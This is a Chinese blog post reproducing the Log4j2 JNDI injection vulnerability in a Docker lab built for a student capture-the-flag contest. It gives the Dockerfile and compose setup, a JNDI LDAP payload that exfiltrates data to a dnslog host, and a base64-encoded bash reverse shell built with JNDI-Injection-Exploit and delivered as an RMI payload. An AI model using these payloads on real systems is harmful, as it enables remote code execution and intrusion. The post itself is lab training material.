Log4j2学习与复现

本文档详细记录了Log4j2漏洞的复现过程,包括Dockerfile和docker-compose.yml的编写,环境搭建,利用JNDI进行数据外带和反弹shell的步骤。实验中,通过修改端口避免冲突,并使用特定工具生成恶意代码,最终成功反弹shell获取flag。
摘要由CSDN通过智能技术生成

0x01 前言

  这几天在给新生赛出题,打算出real world的题目。就顺便把real world的赛题给复现一遍。网上其实也有很多的教程主要是环境的搭建以及Dockerfile和docker-compsoe.yml的编写。

实验环境:
| 环境 | 版本 | IP|
|–|–|–|–|
|靶场|ubuntu 18 & vulfocus/log4j2-cve-2021-44228| 192.168.43.139|
|攻击机 |kali Linux 2021 | 192.168.43.77 |
工具下载:JNDI.

0x02 Dokerfile的编写

Dokerfile

FROM vulfocus/log4j2-cve-2021-44228

RUN apt-get update

COPY flag /flag

因为还不是很熟悉原理是什么,无法完全地构建本地靶场,用的还是vulfocus下的镜像。这一个镜像默认打开的端口是8080,为了避免冲突在docker-compsoe.yml中我们需要做一个端口映射。

0x03 docker-compsoe.yml的编写

docker-compsoe.yml

version: "2"

services:
  log4j2:
    build: .
    restart: "always"
    ports:
      - "9999:8080"

这里我把原来的端口映射到了9999端口,本地再放一个flag文件。
在这里插入图片描述

0x05 复现

1.化境启动

到那一个目录下输入docker-compose build 拉取相关的镜像
在这里插入图片描述
然后 docker images查看是否拉取成功。
在这里插入图片描述
接着docer-compose up -d,直接启动环境
再使用docker ps -a 进行容器的查看
在这里插入图片描述
成功构建该容器,然后使用win7物理机查看。构建成功。
在这里插入图片描述


2.复现

1、首先查看是否能外带出数据(靶场绝对是可以的)
这里的靶场环境是get传参数,那么是要进行一次的url编码。

hello?payload=${jndi:ldap://y5bapy.dnslog.cn/exp}

刷新一下,去dnslog就能看到有外带的数据。
在这里插入图片描述


在这里插入图片描述
2、接下来需要构建一个恶意数据进行数据监听,构造payload,这里是直接构造反弹shell的恶意代码。
工具下载:git clone https://gitee.com/Lemon_i/JNDI-Injection-Exploit.git
然后打包项目:mvn clean package -DskipTests
如果提示没有mvn的话就下一个:apt-get install maven
在这里插入图片描述
开始构造恶意数据。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.43.77"

echo 后面的一串字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjc3LzEyMzQgMD4mMQ==是恶意代码
bash -i >& /dev/tcp/192.168.43.77/1234 0>&1的base64的编码。-A 之后的那一串IP就是攻击机的IP地址,按照这个去构造基本就可以了。
在这里插入图片描述
最后虚拟机监听端口使用上面生成的恶意代码向服务器发送即可反弹shell。

url/hello/?payload=%24%7Bjndi%3Armi%3A%2F%2F192.168.43.77%3A1099%2FExploitBypass%7D

在这里插入图片描述
成功反弹,拿到flag。

0x06 原理分析

持续更新

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值